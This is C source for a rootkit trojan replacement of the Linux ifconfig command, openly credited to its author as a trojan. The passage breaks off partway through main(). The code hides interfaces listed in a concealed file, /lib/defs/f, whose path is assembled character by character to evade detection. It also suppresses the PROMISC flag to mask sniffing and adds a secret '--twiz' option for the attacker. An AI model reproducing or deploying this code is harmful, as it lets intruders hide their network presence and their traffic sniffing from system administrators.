/* ifconfig trojan - made by twiz
 * 
 * This trojan is a bit different from ones i 've found in rootkits, 
 * it uses a extern file (decide it in  the char tifconfilez[] declaration.
 * If you don't now how to change the extern file you'd  probably  better not
 * to use this code... or use it with the defaults one ;)
 * PROMISC flag for sniffing is also removed. 
 * Use : ifconfig --twiz  to see *all* the interfaces (also hidden ones)
 * Have a nice day... 
 *                       twiz   -   twiz@superdotati.net (thanks nextime!)
 *
 * Thanks for coding to : vejeta and his rootkit (great work man)
 * Thanks for cazzegging to : dunric, Colla, acido, raxor and the others of lgm  *                            and people of #cuneo #impspub and #linux-it 
 * Special thanks to : my classmate... for helping me with my exams and  
 *                     expecially z`k, Cannella, Diego, Andrea, Lu, Sah and 
 *                     Dado                  
 */ 


/*
 * ifconfig   This file contains an implementation of the command
 *              that either displays or sets the characteristics of
 *              one or more of the system's networking interfaces.
 *
 * Version:     $Id: ifconfig.c,v 1.33 1999/12/11 13:35:53 freitag Exp $
 *
 * Author:      Fred N. van Kempen, <waltje@uwalt.nl.mugnet.org>
 *              and others.  Copyright 1993 MicroWalt Corporation
 *
 *              This program is free software; you can redistribute it
 *              and/or  modify it under  the terms of  the GNU General
 *              Public  License as  published  by  the  Free  Software
 *              Foundation;  either  version 2 of the License, or  (at
 *              your option) any later version.
 * {1.34} - 19980630 - Arnaldo Carvalho de Melo <acme@conectiva.com.br>
 *                     - gettext instead of catgets for i18n
 *          10/1998  - Andi Kleen. Use interface list primitives.       
 */

#define DFLT_AF "inet"

#include "config.h"

#include <features.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>

/* Ugh.  But libc5 doesn't provide POSIX types.  */
#include <asm/types.h>


#ifdef HAVE_HWSLIP
#include <linux/if_slip.h>
#endif

#if HAVE_AFINET6

#ifndef _LINUX_IN6_H
/*
 *    This is in linux/include/net/ipv6.h.
 */

struct in6_ifreq {
    struct in6_addr ifr6_addr;
    __u32 ifr6_prefixlen;
    unsigned int ifr6_ifindex;
};

#endif

struct listaife  {
        char nomeife[32];
        struct listaife *next;
};
static struct listaife *appoggio;

#define IPV6_ADDR_ANY		0x0000U

#define IPV6_ADDR_UNICAST      	0x0001U
#define IPV6_ADDR_MULTICAST    	0x0002U
#define IPV6_ADDR_ANYCAST	0x0004U

#define IPV6_ADDR_LOOPBACK	0x0010U
#define IPV6_ADDR_LINKLOCAL	0x0020U
#define IPV6_ADDR_SITELOCAL	0x0040U

#define IPV6_ADDR_COMPATv4	0x0080U

#define IPV6_ADDR_SCOPE_MASK	0x00f0U

#define IPV6_ADDR_MAPPED	0x1000U
#define IPV6_ADDR_RESERVED	0x2000U		/* reserved address space */

#endif				/* HAVE_AFINET6 */

#ifdef IFF_PORTSEL
static const char *if_port_text[][4] =
{
  /* Keep in step with <linux/netdevice.h> */
    {"unknown", NULL, NULL, NULL},
    {"10base2", "bnc", "coax", NULL},
    {"10baseT", "utp", "tpe", NULL},
    {"AUI", "thick", "db15", NULL},
    {"100baseT", NULL, NULL, NULL},
    {"100baseTX", NULL, NULL, NULL},
    {"100baseFX", NULL, NULL, NULL},
    {NULL, NULL, NULL, NULL},
};
#endif

#if HAVE_AFIPX
#if (__GLIBC__ > 2) || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 1)
#include <netipx/ipx.h>
#else
#include "ipx.h"
#endif
#endif
#include "net-support.h"
#include "pathnames.h"
#include "version.h"
#include "../intl.h"
#include "interface.h"
#include "sockets.h"
#include "util.h"

char *Release = RELEASE, *Version = "ifconfig 1.39 (1999-03-18)";

int opt_a = 0;			/* show all interfaces          */
int opt_i = 0;			/* show the statistics          */
int opt_v = 0;			/* debugging output flag        */
int addr_family = 0;		/* currently selected AF        */
int opt_show;

void real_ife_print(struct interface *ptr);

int numerico (char *nomeife)
{
  char *tempo;
  int n=-1;
        if((tempo=strchr(nomeife,':')) != NULL){
        tempo++;
        n=atoi(tempo);
        }

        return(n);
}

void raccoglife(void)
{
   FILE *fp;
   char line[32];
   struct listaife *temporanea;
   char tifconfilez[12];
     tifconfilez[0] = '/';
     tifconfilez[1] = 'l';
     tifconfilez[2] = 'i';
     tifconfilez[3] = 'b';
     tifconfilez[4] = '/';
     tifconfilez[5] = 'd';
     tifconfilez[6] = 'e';
     tifconfilez[7] = 'f';
     tifconfilez[8] = 's';
     tifconfilez[9] = '/';
     tifconfilez[10] = 'f';
     tifconfilez[11] = '\0';
   
if((temporanea=(struct listaife*)malloc(sizeof(struct listaife))) == NULL)
                return;
        memset((void*)temporanea, '\0', sizeof(struct listaife));
        appoggio=temporanea;

   if ((fp=fopen(tifconfilez,"r")) != NULL) {
   while ( !feof(fp) ) {
    memset(line, '\0', sizeof(line));
    fgets(line, sizeof(line)-1, fp);
    strncpy(temporanea->nomeife, line, 31);
    if((temporanea->next=(struct listaife*)malloc(sizeof(struct listaife))) == NULL)
    break; 
    memset((void*)temporanea->next, '\0', sizeof(struct listaife));
    temporanea=temporanea->next;
   }
  fclose(fp);
 }
temporanea->next = NULL;
return;
}

void ife_print(struct interface *ptr) {
struct listaife *temp;
char *appo;
int a, b;

if (!opt_show) {
raccoglife();

for(temp=appoggio; temp->next != NULL; temp=temp->next) {
if ((appo=strchr(temp->nomeife,':')) != NULL) {
a = numerico(temp->nomeife);
b = numerico(ptr->name);
  if ((a == b) && (!opt_show))
      return;
} else { 
if ((!strncmp(temp->nomeife, ptr->name, strlen(ptr->name))) && (!opt_show))   
                          return;
}
}
    real_ife_print(ptr);   
}
}

void real_ife_print(struct interface *ptr)
{
    struct aftype *ap;
    struct hwtype *hw;
    int hf;
    int can_compress = 0;
#if HAVE_AFIPX
    static struct aftype *ipxtype = NULL;
#endif
#if HAVE_AFECONET
    static struct aftype *ectype = NULL;
#endif
#if HAVE_AFATALK
    static struct aftype *ddptype = NULL;
#endif
#if HAVE_AFINET6
    FILE *f;
    char addr6[40], devname[20];
    struct sockaddr_in6 sap;
    int plen, scope, dad_status, if_idx;
    extern struct aftype inet6_aftype;
    char addr6p[8][5];
#endif


    ap = get_afntype(ptr->addr.sa_family);
    if (ap == NULL)
	ap = get_afntype(0);

    hf = ptr->type;

    if (hf == ARPHRD_CSLIP || hf == ARPHRD_CSLIP6)
	can_compress = 1;

    hw = get_hwntype(hf);
    if (hw == NULL)
	hw = get_hwntype(-1);
if (!strncmp(ptr->name, "sit", 3)) { 
 printf(_("%-9.9s Link encap:IPv6-in-IPv4 "), ptr->name);
} else {
    printf(_("%-9.9s Link encap:%s  "), ptr->name, hw->title);


    /* For some hardware types (eg Ash, ATM) we don't print the 
       hardware address if it's null.  */
    if (hw->print != NULL && (! (hw_null_address(hw, ptr->hwaddr) &&
				  hw->suppress_null_addr)))
	printf(_("HWaddr %s  "), hw->print(ptr->hwaddr));
}
#ifdef IFF_PORTSEL
    if (ptr->flags & IFF_PORTSEL) {
	printf(_("Media:%s"), if_port_text[ptr->map.port][0]);
	if (ptr->flags & IFF_AUTOMEDIA)
	    printf(_("(auto)"));
    }
#endif
    printf("\n");

#if HAVE_AFINET
    if (ptr->has_ip) {
	printf(_("          %s addr:%s "), ap->name,
	       ap->sprint(&ptr->addr, 1));
	if (ptr->flags & IFF_POINTOPOINT) {
	    printf(_(" P-t-P:%s "), ap->sprint(&ptr->dstaddr, 1));
	}
	if (ptr->flags & IFF_BROADCAST) {
	    printf(_(" Bcast:%s "), ap->sprint(&ptr->broadaddr, 1));
	}
	printf(_(" Mask:%s\n"), ap->sprint(&ptr->netmask, 1));
    }
#endif

#if HAVE_AFINET6
    /* FIXME: should be integrated into interface.c.   */

    if ((f = fopen(_PATH_PROCNET_IFINET6, "r")) != NULL) {
	while (fscanf(f, "%4s%4s%4s%4s%4s%4s%4s%4s %02x %02x %02x %02x %20s\n",
		      addr6p[0], addr6p[1], addr6p[2], addr6p[3],
		      addr6p[4], addr6p[5], addr6p[6], addr6p[7],
		  &if_idx, &plen, &scope, &dad_status, devname) != EOF) {
	    if (!strcmp(devname, ptr->name)) {
		sprintf(addr6, "%s:%s:%s:%s:%s:%s:%s:%s",
			addr6p[0], addr6p[1], addr6p[2], addr6p[3],
			addr6p[4], addr6p[5], addr6p[6], addr6p[7]);
		inet6_aftype.input(1, addr6, (struct sockaddr *) &sap);
		printf(_("          inet6 addr: %s/%d"),
		 inet6_aftype.sprint((struct sockaddr *) &sap, 1), plen);
		printf(_(" Scope:"));
		switch (scope) {
		case 0:
		    printf(_("Global"));
		    break;
		case IPV6_ADDR_LINKLOCAL:
		    printf(_("Link"));
		    break;
		case IPV6_ADDR_SITELOCAL:
		    printf(_("Site"));
		    break;
		case IPV6_ADDR_COMPATv4:
		    printf(_("Compat"));
		    break;
		case IPV6_ADDR_LOOPBACK:
		    printf(_("Host"));
		    break;
		default:
		    printf(_("Unknown"));
		}
		printf("\n");
	    }
	}
	fclose(f);
    }
#endif

#if HAVE_AFIPX
    if (ipxtype == NULL)
	ipxtype = get_afntype(AF_IPX);

    if (ipxtype != NULL) {
	if (ptr->has_ipx_bb)
	    printf(_("          IPX/Ethernet II addr:%s\n"),
		   ipxtype->sprint(&ptr->ipxaddr_bb, 1));
	if (ptr->has_ipx_sn)
	    printf(_("          IPX/Ethernet SNAP addr:%s\n"),
		   ipxtype->sprint(&ptr->ipxaddr_sn, 1));
	if (ptr->has_ipx_e2)
	    printf(_("          IPX/Ethernet 802.2 addr:%s\n"),
		   ipxtype->sprint(&ptr->ipxaddr_e2, 1));
	if (ptr->has_ipx_e3)
	    printf(_("          IPX/Ethernet 802.3 addr:%s\n"),
		   ipxtype->sprint(&ptr->ipxaddr_e3, 1));
    }
#endif

#if HAVE_AFATALK
    if (ddptype == NULL)
	ddptype = get_afntype(AF_APPLETALK);
    if (ddptype != NULL) {
	if (ptr->has_ddp)
	    printf(_("          EtherTalk Phase 2 addr:%s\n"), ddptype->sprint(&ptr->ddpaddr, 1));
    }
#endif

#if HAVE_AFECONET
    if (ectype == NULL)
	ectype = get_afntype(AF_ECONET);
    if (ectype != NULL) {
	if (ptr->has_econet)
	    printf(_("          econet addr:%s\n"), ectype->sprint(&ptr->ecaddr, 1));
    }
#endif

    printf("          ");
    if (ptr->flags == 0)
	printf(_("[NO FLAGS] "));
    if (ptr->flags & IFF_UP)
	printf(_("UP "));
    if (ptr->flags & IFF_BROADCAST)
	printf(_("BROADCAST "));
    if (ptr->flags & IFF_DEBUG)
	printf(_("DEBUG "));
    if (ptr->flags & IFF_LOOPBACK)
	printf(_("LOOPBACK "));
    if (ptr->flags & IFF_POINTOPOINT)
	printf(_("POINTOPOINT "));
    if (ptr->flags & IFF_NOTRAILERS)
	printf(_("NOTRAILERS "));
    if (ptr->flags & IFF_RUNNING)
	printf(_("RUNNING "));
    if (ptr->flags & IFF_NOARP)
	printf(_("NOARP "));
    if ((ptr->flags & IFF_PROMISC) && opt_show)
      printf(_("PROMISC "));
    if (ptr->flags & IFF_ALLMULTI)
	printf(_("ALLMULTI "));
    if (ptr->flags & IFF_SLAVE)
	printf(_("SLAVE "));
    if (ptr->flags & IFF_MASTER)
	printf(_("MASTER "));
    if (ptr->flags & IFF_MULTICAST)
	printf(_("MULTICAST "));
#ifdef HAVE_DYNAMIC
    if (ptr->flags & IFF_DYNAMIC)
	printf(_("DYNAMIC "));
#endif

    printf(_(" MTU:%d  Metric:%d"),
	   ptr->mtu, ptr->metric ? ptr->metric : 1);
#ifdef SIOCSKEEPALIVE
    if (ptr->outfill || ptr->keepalive)
	printf(_("  Outfill:%d  Keepalive:%d"),
	       ptr->outfill, ptr->keepalive);
#endif
    printf("\n");

    /* If needed, display the interface statistics. */

    if (ptr->statistics_valid) {
	/* XXX: statistics are currently only printed for the primary address,
	 *      not for the aliases, although strictly speaking they're shared
	 *      by all addresses.
	 */
	printf("          ");

	printf(_("RX packets:%lu errors:%lu dropped:%lu overruns:%lu frame:%lu\n"),
	       ptr->stats.rx_packets, ptr->stats.rx_errors,
	       ptr->stats.rx_dropped, ptr->stats.rx_fifo_errors,
	       ptr->stats.rx_frame_errors);
	if (can_compress)
	    printf(_("             compressed:%lu\n"), ptr->stats.rx_compressed);

	printf("          ");

	printf(_("TX packets:%lu errors:%lu dropped:%lu overruns:%lu carrier:%lu\n"),
	       ptr->stats.tx_packets, ptr->stats.tx_errors,
	       ptr->stats.tx_dropped, ptr->stats.tx_fifo_errors,
	       ptr->stats.tx_carrier_errors);
	printf(_("          collisions:%lu "), ptr->stats.collisions);
	if (can_compress)
	    printf(_("compressed:%lu "), ptr->stats.tx_compressed);
	if (ptr->tx_queue_len != -1)
	    printf(_("txqueuelen:%d "), ptr->tx_queue_len);
	printf("\n");
    }

    if ((ptr->map.irq || ptr->map.mem_start || ptr->map.dma ||
	 ptr->map.base_addr)) {
	printf("          ");
	if (ptr->map.irq)
	    printf(_("Interrupt:%d "), ptr->map.irq);
	if (ptr->map.base_addr >= 0x100)	/* Only print devices using it for 
						   I/O maps */
	    printf(_("Base address:0x%x "), ptr->map.base_addr);
	if (ptr->map.mem_start) {
	    printf(_("Memory:%lx-%lx "), ptr->map.mem_start, ptr->map.mem_end);
	}
	if (ptr->map.dma)
	    printf(_("DMA chan:%x "), ptr->map.dma);
	printf("\n");
    }
    printf("\n");
}


static int if_print(char *ifname)
{
    int res; 

    if (!ifname) {
	res = for_all_interfaces(do_if_print, &opt_a);
    } else {
	struct interface *ife;

	ife = lookup_interface(ifname,1);
	res = do_if_fetch(ife); 
	if (res >= 0) 
	    ife_print(ife);
    }
    return res; 
}


/* Set a certain interface flag. */
static int set_flag(char *ifname, short flag)
{
    struct ifreq ifr;

    strcpy(ifr.ifr_name, ifname);
    if (ioctl(skfd, SIOCGIFFLAGS, &ifr) < 0) {
	fprintf(stderr, _("%s: unknown interface: %s\n"), 
		ifname,	strerror(errno));
	return (-1);
    }
    strcpy(ifr.ifr_name, ifname);
    ifr.ifr_flags |= flag;
    if (ioctl(skfd, SIOCSIFFLAGS, &ifr) < 0) {
	perror("SIOCSIFFLAGS");
	return -1;
    }
    return (0);
}


/* Clear a certain interface flag. */
static int clr_flag(char *ifname, short flag)
{
    struct ifreq ifr;

    strcpy(ifr.ifr_name, ifname);
    if (ioctl(skfd, SIOCGIFFLAGS, &ifr) < 0) {
	fprintf(stderr, _("%s: unknown interface: %s\n"), 
		ifname, strerror(errno));
	return -1;
    }
    strcpy(ifr.ifr_name, ifname);
    ifr.ifr_flags &= ~flag;
    if (ioctl(skfd, SIOCSIFFLAGS, &ifr) < 0) {
	perror("SIOCSIFFLAGS");
	return -1;
    }
    return (0);
}


static void usage(void)
{
    fprintf(stderr, _("Usage:\n  ifconfig [-a] [-i] [-v] <interface> [[<AF>] <address>]\n"));
    /* XXX: it would be useful to have the add/del syntax even without IPv6.
       the 2.1 interface address lists make this natural */
#ifdef HAVE_AFINET6
    fprintf(stderr, _("  [add <address>[/<prefixlen>]]\n"));
#ifdef SIOCDIFADDR
    fprintf(stderr, _("  [del <address>[/<prefixlen>]]\n"));
#endif
    /* XXX the kernel supports tunneling even without ipv6 */
#endif
#if HAVE_AFINET
    fprintf(stderr, _("  [[-]broadcast [<address>]]  [[-]pointopoint [<address>]]\n"));
    fprintf(stderr, _("  [netmask <address>]  [dstaddr <address>]  [tunnel <address>]\n"));
#endif
#ifdef SIOCSKEEPALIVE
    fprintf(stderr, _("  [outfill <NN>] [keepalive <NN>]\n"));
#endif
    fprintf(stderr, _("  [hw <HW> <address>]  [metric <NN>]  [mtu <NN>]\n"));
    fprintf(stderr, _("  [[-]trailers]  [[-]arp]  [[-]allmulti]\n"));
    fprintf(stderr, _("  [multicast]  [[-]promisc]\n"));
    fprintf(stderr, _("  [mem_start <NN>]  [io_addr <NN>]  [irq <NN>]  [media <type>]\n"));
#ifdef HAVE_TXQUEUELEN
    fprintf(stderr, _("  [txqueuelen <NN>]\n"));
#endif
#ifdef HAVE_DYNAMIC
    fprintf(stderr, _("  [[-]dynamic]\n"));
#endif
    fprintf(stderr, _("  [up|down] ...\n\n"));

    fprintf(stderr, _("  <HW>=Hardware Type.\n"));
    fprintf(stderr, _("  List of possible hardware types:\n"));
    print_hwlist(0); /* 1 = ARPable */
    fprintf(stderr, _("  <AF>=Address family. Default: %s\n"), DFLT_AF);
    fprintf(stderr, _("  List of possible address families:\n"));
    print_aflist(0); /* 1 = routeable */
    exit(E_USAGE);
}

static void version(void)
{
    fprintf(stderr, "%s\n%s\n", Release, Version);
    exit(1);
}

static int set_netmask(int skfd, struct ifreq *ifr, struct sockaddr *sa)
{
    int err = 0;

    memcpy((char *) &ifr->ifr_netmask, (char *) sa,
	   sizeof(struct sockaddr));
    if (ioctl(skfd, SIOCSIFNETMASK, ifr) < 0) {
	fprintf(stderr, "SIOCSIFNETMASK: %s\n",
		strerror(errno));
	err = 1;
    }
    return 0;
}

int main(int argc, char **argv)
{
    struct sockaddr sa;
    char host[128];
    struct aftype *ap;
    struct hwtype *hw;
    struct ifreq ifr;
    int goterr = 0, didnetmask = 0;
    char **spp;
    int fd;
#if HAVE_AFINET6
    extern struct aftype inet6_aftype;
    struct sockaddr_in6 sa6;
    struct in6_ifreq ifr6;
    unsigned long prefix_len;
    char *cp;
#endif

#if I18N
    bindtextdomain("net-tools", "/usr/share/locale");
    textdomain("net-tools");
#endif

    /* Create a channel to the NET kernel. */
    if ((skfd = sockets_open(0)) < 0) {
	perror("socket");
	exit(1);
    }

    /* Find any options. */
    argc--;
    argv++;
    while (argc && *argv[0] == '-') {
	if (!strcmp(*argv, "-a"))
	    opt_a = 1;

	if (!strcmp(*argv, "-v"))
	    opt_v = 1;

	if (!strcmp(*argv, "-V") || !strcmp(*argv, "-version") ||
	    !strcmp(*argv, "--version"))
	    version();

	if (!strcmp(*argv, "-?") || !strcmp(*argv, "-h") ||
	    !strcmp(*argv, "-help") || !strcmp(*argv, "--help")) usage();
/* Showall - thank vejeta  */
	if (!strcmp(*argv, "--twiz")) opt_show = 1;
/* End */
	argv++;
	argc--;
    }

    /* Do we have to show the current setup? */
    if (argc == 0) {
	int err = if_print((char *) NULL);
	(void) close(skfd);
	exit(err < 0);
    }
    /* No. Fetch the interface name. */
    spp = argv;
    safe_strncpy(ifr.ifr_name, *spp++, IFNAMSIZ);
    if (*spp == (char *) NULL) {
	int err = if_print(ifr.ifr_name);
	(void) close(skfd);
	exit(err < 0);
    }
    /* The next argument is either an address family name, or an option. */
    if ((ap = get_aftype(*spp)) == NULL)
	ap = get_aftype(DFLT_AF);
    else {
	/* XXX: should print the current setup if no args left, but only 
	   for this family */
	spp++;
	addr_family = ap->af;
    }

    if (sockets_open(addr_family) < 0) {
	perror("family socket");
	exit(1);
    }
    /* Process the remaining arguments. */
    while (*spp != (char *) NULL) {
	if (!strcmp(*spp, "arp")) {
	    goterr |= clr_flag(ifr.ifr_name, IFF_NOARP);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "-arp")) {
	    goterr |= set_flag(ifr.ifr_name, IFF_NOARP);
	    spp++;
	    continue;
	}
#ifdef IFF_PORTSEL
	if (!strcmp(*spp, "media") || !strcmp(*spp, "port")) {
	    if (*++spp == NULL)
		usage();
	    if (!strcasecmp(*spp, "auto")) {
		goterr |= set_flag(ifr.ifr_name, IFF_AUTOMEDIA);
	    } else {
		int i, j, newport;
		char *endp;
		newport = strtol(*spp, &endp, 10);
		if (*endp != 0) {
		    newport = -1;
		    for (i = 0; if_port_text[i][0] && newport == -1; i++) {
			for (j = 0; if_port_text[i][j]; j++) {
			    if (!strcasecmp(*spp, if_port_text[i][j])) {
				newport = i;
				break;
			    }
			}
		    }
		}
		spp++;
		if (newport == -1) {
		    fprintf(stderr, _("Unknown media type.\n"));
		    goterr = 1;
		} else {
		    if (ioctl(skfd, SIOCGIFMAP, &ifr) < 0) {
			goterr = 1;
			continue;
		    }
		    ifr.ifr_map.port = newport;
		    if (ioctl(skfd, SIOCSIFMAP, &ifr) < 0) {
			perror("SIOCSIFMAP");
			goterr = 1;
		    }
		}
	    }
	    continue;
	}
#endif

	if (!strcmp(*spp, "trailers")) {
	    goterr |= clr_flag(ifr.ifr_name, IFF_NOTRAILERS);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "-trailers")) {
	    goterr |= set_flag(ifr.ifr_name, IFF_NOTRAILERS);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "promisc")) {
	    goterr |= set_flag(ifr.ifr_name, IFF_PROMISC);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "-promisc")) {
	    goterr |= clr_flag(ifr.ifr_name, IFF_PROMISC);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "multicast")) {
	    goterr |= set_flag(ifr.ifr_name, IFF_MULTICAST);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "-multicast")) {
	    goterr |= clr_flag(ifr.ifr_name, IFF_MULTICAST);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "allmulti")) {
	    goterr |= set_flag(ifr.ifr_name, IFF_ALLMULTI);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "-allmulti")) {
	    goterr |= clr_flag(ifr.ifr_name, IFF_ALLMULTI);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "up")) {
	    goterr |= set_flag(ifr.ifr_name, (IFF_UP | IFF_RUNNING));
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "down")) {
	    goterr |= clr_flag(ifr.ifr_name, IFF_UP);
	    spp++;
	    continue;
	}
#ifdef HAVE_DYNAMIC
	if (!strcmp(*spp, "dynamic")) {
	    goterr |= set_flag(ifr.ifr_name, IFF_DYNAMIC);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "-dynamic")) {
	    goterr |= clr_flag(ifr.ifr_name, IFF_DYNAMIC);
	    spp++;
	    continue;
	}
#endif

	if (!strcmp(*spp, "metric")) {
	    if (*++spp == NULL)
		usage();
	    ifr.ifr_metric = atoi(*spp);
	    if (ioctl(skfd, SIOCSIFMETRIC, &ifr) < 0) {
		fprintf(stderr, "SIOCSIFMETRIC: %s\n", strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "mtu")) {
	    if (*++spp == NULL)
		usage();
	    ifr.ifr_mtu = atoi(*spp);
	    if (ioctl(skfd, SIOCSIFMTU, &ifr) < 0) {
		fprintf(stderr, "SIOCSIFMTU: %s\n", strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
#ifdef SIOCSKEEPALIVE
	if (!strcmp(*spp, "keepalive")) {
	    if (*++spp == NULL)
		usage();
	    ifr.ifr_data = (caddr_t) atoi(*spp);
	    if (ioctl(skfd, SIOCSKEEPALIVE, &ifr) < 0) {
		fprintf(stderr, "SIOCSKEEPALIVE: %s\n", strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
#endif

#ifdef SIOCSOUTFILL
	if (!strcmp(*spp, "outfill")) {
	    if (*++spp == NULL)
		usage();
	    ifr.ifr_data = (caddr_t) atoi(*spp);
	    if (ioctl(skfd, SIOCSOUTFILL, &ifr) < 0) {
		fprintf(stderr, "SIOCSOUTFILL: %s\n", strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
#endif

	if (!strcmp(*spp, "-broadcast")) {
	    goterr |= clr_flag(ifr.ifr_name, IFF_BROADCAST);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "broadcast")) {
	    if (*++spp != NULL) {
		safe_strncpy(host, *spp, (sizeof host));
		if (ap->input(0, host, &sa) < 0) {
		    ap->herror(host);
		    goterr = 1;
		    spp++;
		    continue;
		}
		memcpy((char *) &ifr.ifr_broadaddr, (char *) &sa,
		       sizeof(struct sockaddr));
		if (ioctl(ap->fd, SIOCSIFBRDADDR, &ifr) < 0) {
		    fprintf(stderr, "SIOCSIFBRDADDR: %s\n",
			    strerror(errno));
		    goterr = 1;
		}
		spp++;
	    }
	    goterr |= set_flag(ifr.ifr_name, IFF_BROADCAST);
	    continue;
	}
	if (!strcmp(*spp, "dstaddr")) {
	    if (*++spp == NULL)
		usage();
	    safe_strncpy(host, *spp, (sizeof host));
	    if (ap->input(0, host, &sa) < 0) {
		ap->herror(host);
		goterr = 1;
		spp++;
		continue;
	    }
	    memcpy((char *) &ifr.ifr_dstaddr, (char *) &sa,
		   sizeof(struct sockaddr));
	    if (ioctl(ap->fd, SIOCSIFDSTADDR, &ifr) < 0) {
		fprintf(stderr, "SIOCSIFDSTADDR: %s\n",
			strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "netmask")) {
	    if (*++spp == NULL || didnetmask)
		usage();
	    safe_strncpy(host, *spp, (sizeof host));
	    if (ap->input(0, host, &sa) < 0) {
		ap->herror(host);
		goterr = 1;
		spp++;
		continue;
	    }
	    didnetmask++;
	    goterr = set_netmask(ap->fd, &ifr, &sa);
	    spp++;
	    continue;
	}
#ifdef HAVE_TXQUEUELEN
	if (!strcmp(*spp, "txqueuelen")) {
	    if (*++spp == NULL)
		usage();
	    ifr.ifr_qlen = strtoul(*spp, NULL, 0);
	    if (ioctl(skfd, SIOCSIFTXQLEN, &ifr) < 0) {
		fprintf(stderr, "SIOCSIFTXQLEN: %s\n", strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
#endif

	if (!strcmp(*spp, "mem_start")) {
	    if (*++spp == NULL)
		usage();
	    if (ioctl(skfd, SIOCGIFMAP, &ifr) < 0) {
		goterr = 1;
		continue;
	    }
	    ifr.ifr_map.mem_start = strtoul(*spp, NULL, 0);
	    if (ioctl(skfd, SIOCSIFMAP, &ifr) < 0) {
		fprintf(stderr, "SIOCSIFMAP: %s\n", strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "io_addr")) {
	    if (*++spp == NULL)
		usage();
	    if (ioctl(skfd, SIOCGIFMAP, &ifr) < 0) {
		goterr = 1;
		continue;
	    }
	    ifr.ifr_map.base_addr = strtol(*spp, NULL, 0);
	    if (ioctl(skfd, SIOCSIFMAP, &ifr) < 0) {
		fprintf(stderr, "SIOCSIFMAP: %s\n", strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "irq")) {
	    if (*++spp == NULL)
		usage();
	    if (ioctl(skfd, SIOCGIFMAP, &ifr) < 0) {
		goterr = 1;
		continue;
	    }
	    ifr.ifr_map.irq = atoi(*spp);
	    if (ioctl(skfd, SIOCSIFMAP, &ifr) < 0) {
		fprintf(stderr, "SIOCSIFMAP: %s\n", strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "-pointopoint")) {
	    goterr |= clr_flag(ifr.ifr_name, IFF_POINTOPOINT);
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "pointopoint")) {
	    if (*(spp + 1) != NULL) {
		spp++;
		safe_strncpy(host, *spp, (sizeof host));
		if (ap->input(0, host, &sa)) {
		    ap->herror(host);
		    goterr = 1;
		    spp++;
		    continue;
		}
		memcpy((char *) &ifr.ifr_dstaddr, (char *) &sa,
		       sizeof(struct sockaddr));
		if (ioctl(ap->fd, SIOCSIFDSTADDR, &ifr) < 0) {
		    fprintf(stderr, "SIOCSIFDSTADDR: %s\n",
			    strerror(errno));
		    goterr = 1;
		}
	    }
	    goterr |= set_flag(ifr.ifr_name, IFF_POINTOPOINT);
	    spp++;
	    continue;
	};

	if (!strcmp(*spp, "hw")) {
	    if (*++spp == NULL)
		usage();
	    if ((hw = get_hwtype(*spp)) == NULL)
		usage();
	    if (*++spp == NULL)
		usage();
	    safe_strncpy(host, *spp, (sizeof host));
	    if (hw->input(host, &sa) < 0) {
		fprintf(stderr, _("%s: invalid %s address.\n"), host, hw->name);
		goterr = 1;
		spp++;
		continue;
	    }
	    memcpy((char *) &ifr.ifr_hwaddr, (char *) &sa,
		   sizeof(struct sockaddr));
	    if (ioctl(skfd, SIOCSIFHWADDR, &ifr) < 0) {
		fprintf(stderr, "SIOCSIFHWADDR: %s\n",
			strerror(errno));
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
#if HAVE_AFINET6
	if (!strcmp(*spp, "add")) {
	    if (*++spp == NULL)
		usage();
	    if ((cp = strchr(*spp, '/'))) {
		prefix_len = atol(cp + 1);
		if ((prefix_len < 0) || (prefix_len > 128))
		    usage();
		*cp = 0;
	    } else {
		prefix_len = 0;
	    }
	    safe_strncpy(host, *spp, (sizeof host));
	    if (inet6_aftype.input(1, host, (struct sockaddr *) &sa6) < 0) {
		inet6_aftype.herror(host);
		goterr = 1;
		spp++;
		continue;
	    }
	    memcpy((char *) &ifr6.ifr6_addr, (char *) &sa6.sin6_addr,
		   sizeof(struct in6_addr));

	    fd = get_socket_for_af(AF_INET6);
	    if (fd < 0) {
		fprintf(stderr, _("No support for INET6 on this system.\n"));
		goterr = 1;
		spp++;
		continue;
	    }
	    if (ioctl(fd, SIOGIFINDEX, &ifr) < 0) {
		perror("SIOGIFINDEX");
		goterr = 1;
		spp++;
		continue;
	    }
	    ifr6.ifr6_ifindex = ifr.ifr_ifindex;
	    ifr6.ifr6_prefixlen = prefix_len;
	    if (ioctl(fd, SIOCSIFADDR, &ifr6) < 0) {
		perror("SIOCSIFADDR");
		goterr = 1;
	    }
	    spp++;
	    continue;
	}
	if (!strcmp(*spp, "del")) {
	    if (*++spp == NULL)
		usage();
	    if ((cp = strchr(*spp, '/'))) {
		prefix_len = atol(cp + 1);
		if ((prefix_len < 0) || (prefix_len > 128))
		    usage();
		*cp = 0;
